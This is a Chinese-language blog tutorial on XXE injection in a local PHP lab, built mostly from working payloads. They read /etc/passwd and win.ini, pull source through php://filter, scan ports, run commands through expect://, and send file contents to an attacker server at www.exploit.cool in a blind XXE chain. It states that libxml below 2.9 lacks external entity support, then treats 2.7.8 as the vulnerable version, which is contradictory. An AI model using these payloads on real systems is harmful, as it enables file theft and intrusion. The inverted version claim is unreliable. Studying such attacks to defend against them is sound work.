我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、XXE注入
1、相关概念
(1)XXE定义:
XXE Injection即XML External Entity Injection,也就是XML外部实体注入漏洞,该漏洞是在对非安全的外部实体数据进⾏处理时引发的安全问题。
(2)漏洞版本:
libxml的版本<libxml2.9的时候不支持外部实体,也就不存在XML外部实体注入漏洞。
(3)相关概念:
- 在程序用的比较多就是内部实体
<!ENTITY 实体名称 "实体的值">
<?xml version="1.0" encoding="ISO-8859-1"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>
- 外部实体可支持http、file等协议 不同程序支持的协议也不同。
<!ENTITY 实体名称 SYSTEM "URI/URL">
<?php
$string_xml = '<?xml version="1.0" encoding="utf-8"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>xml实体注入</body></note>';
$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;
$data = simplexml_load_string($xml);
echo '<meta charset="UTF-8">';
print_r($data);
?>
<?php
$xml = $_GET['xml'];
$data = @simplexml_load_string($xml);
?>
2、漏洞示例:有回显的XXE注入
(1)靶机环境:本地的phpstudy-php5.4.5
//注意:5.2.17不能成功演示
(2)漏洞页面源码:xxe01.php
(3)查看libxml版本:2.7.8<2.9
(4)任意读取文件:file://伪协议
payload-linux:<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]><c>&b;</c>
//注意:payload需要url编码后才可使用
payload-windows:<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">]><c>&b;</c>
//注意:payload需要url编码后才可使用
如下图所示,成功读取了c:/windows/win.ini文件内容:
(5)利用伪协议读取文件:php的filter伪协议
payload-3:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe01.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
//注意:payload需要url编码后才可使用
如下图所示,成功读取了xee01.php页面源码的base64编码: 得到的base64源码解码后:
(5)扫描端口:单线程
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://192.168.97.130:80">
]>
<abc>&test;</abc>
//注意:payload需要url编码后才可使用
如下图所示,成功扫描到了192.168.97.130:80服务:
(6)执行命令:except://伪协议
except://伪协议封装协议默认未开启,为了使用 expect:// 封装器,你必须安装 » PECL 上的 » Expect 扩展。
payload-4:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "expect://whoami">
]>
<abc>&test;</abc>
//注意:payload需要url编码后才可使用
3、漏洞示例:无回显的XXE注入
//无回显的XXE注入称为 blind xxe ,此时可以使用外带数据通道提取数据
(1)靶机环境:本地的phpstudy-php5.4.5
(2)漏洞页面源码:xxe01.php
(3)查看libxml版本:2.7.8<2.9
(4)任意读取文件:blind xee
【首先:攻击者远程WEB服务器上的提前准备:】
evil.xml 文件内容:读取xee blind发来的文件内容并且通过file参数传递给result.php
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.exploit.cool/exp/xxe/result.php?file=%file;'>">
result.php文件内容:读取evil.xml发来的file参数值并且写入到result.txt文件内
<?php file_put_contents("result.txt", $_GET['file']);?>
【其次:攻击者提交的payload:】
payload-5:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/flag.txt">
<!ENTITY % remote SYSTEM "http://www.exploit.cool/exp/xxe/evil.xml">
%remote;
%all;
]>
<root>&send;</root>
//注意:上面的<!ENTITY % file SYSTEM "file:///C:/flag.txt">该条语句是在读取文件内容,同时其内的内容需要符合一定条件才出结果
//注意:上面的http://www.exploit/cool/exp/xxe/evil.xml该条语句模拟的是攻击者的远程服务器的文件
//注意:payload需要url编码后才可使用
【注意:经过多次测试,发现我们读取的内容,不能出现一些特殊字符,否则不会出现结果!!!】
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122776892